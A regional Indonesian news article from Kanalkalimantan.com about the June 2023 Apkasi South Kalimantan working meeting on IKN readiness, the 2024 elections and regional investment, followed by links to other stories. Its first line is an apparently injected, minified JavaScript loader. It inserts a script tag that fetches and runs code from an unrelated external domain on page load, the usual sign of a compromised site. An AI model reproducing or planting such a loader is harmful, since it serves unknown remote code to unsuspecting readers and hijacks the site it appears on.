(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Asosiasi Pemerintah Kabupaten Seluruh Indonesia (Apkasi) Wilayah Kalimantan Selatan menggelar Rapat Kerja (Raker) tahun 2023 di Banjarmasin, Senin (19/6/2023).
Raker Apkasi Wilayah Kalsel dihadiri Wakil Ketua Apkasi Pusat Hj Erlina dan dibuka Gubernur Kalsel diwakili Asisten I Bidang Pemerintahan dan Kesra Setdaprov Nurul Fajar Desira.
Gubernur Kalsel mengajak semua pemerintah kabupaten agar menyiapkan diri untuk menjadi gerbang bagi IKN di Kaltim.
Provinsi Kalsel, harus berbenah di segala sektor termasuk sektor ekonomi. Kendati komoditas batu bara dan kelapa sawit menjadi andalan, namun banyak potensi ekonomi lainnya yang bisa digali seperti perkebunan, pertanian, pariwisata berbasis budaya dan alam.
“Saya mendorong masing-masing kepala daerah untuk motivasi mengembangkan potensi daerahnya, sejauh mana proses yang dihasilkan dan hambatan apa saja yang menyertai. Untuk itu kita duduk bersama disini dalam rangka mendiskusikan dan mengkoordinasikan pengembangan masing-masing daerah di Kalimantan Selatan,” ujar gubernur.
Sementara itu, Koordinator Apkasi Wilayah Kalsel Muhammad Sukamta mengatakan, Raker berlangsung pada tanggal 18 -19 Juni 2023 bertujuan menyamakan persepsi sekaligus menjaring segala persoalan yang dihadapi Pemkab se Kalsel.
Masalah dimaksud terkait perkembangan otonomi daerah, kerja sama antara daerah dan dalam rangka Kalsel membangun kekuatan ekonomi baru sebagai pintu gerbang IKN di Kaltim.
Dikatakan Sukamta, ada beberapa isu strategis yang perlu jadi perhatian peserta Raker, antara lain terkait upaya meningkatkan kemampuan sumber daya lokal untuk keperluan IKN, kesiapan Pemkab menyambut Pemilu serentak 2024, penyetaraan jabatan dan organisasi, dan lainnya.
Terkait Pemilu dan Pilkada serentak, Wakil Ketua Apkasi Pusat Hj Erlina mengingatkan pemerinrah kabupatan melakukan antisipasi dini dan pemetaan terhadap potensi konflik menjelang Pilkada atau Pemilu serentak 2024.
Baca juga: Sidang Korupsi Proyek Bendungan Tapin, Tiga Terdakwa Minta Batalkan Dakwaan
Pemerintah daerah diharapkan memiliki sumber lain selain dana bantuan pemerintah pusat, untuk pembangunan yaitu melalui investasi ke daerah menjadi salah satu alternatif untuk membangkitkan kembali perekonomian daerah.
Masalah lain yang disampaikan Erlina adalah soal tenaga honorer di Pemkab hingga pendidikan dengan segala permasalahannya.
Apkasi, ujarnya, akan berusaha menjalin kerjasama dengan pihak lain, dalam upaya mencari solusi bersama dan menetapkan kesepakatan yang menguntungkan semua bagi pemerintah kabupaten.
“Raker ini dapat membahas dan merumuskan rekomendasi yang akan menjadi materi pada rapat kerja nasional ke-15 tahun 2023 nanti,” ujarnya. (Kanalkalimantan.com/al)
Reporter: al
Editor: kk
KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More
KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More
Pemerintah Provinsi Kalimantan Barat secara resmi telah menetapkan besaran Upah Minimum Provinsi (UMP) dan Upah… Read More
Pemerintah Pusat telah merilis formula perhitungan UMP 2026 sejak 18 Desember 2025. Adapun tenggat waktu… Read More
KANALKALIMANTAN.COM, MARTAPURA - Selain menyerahkan langsung bantuan keperluan masyarakat terdampak banjir Pemerintah Kabupaten Banjar juga… Read More
Upah Minimum Provinsi (UMP) dan Upah Minimum Kabupaten/Kota (UMK) Kalimantan Selatan 2026 akhirnya secara resmi… Read More
This website uses cookies.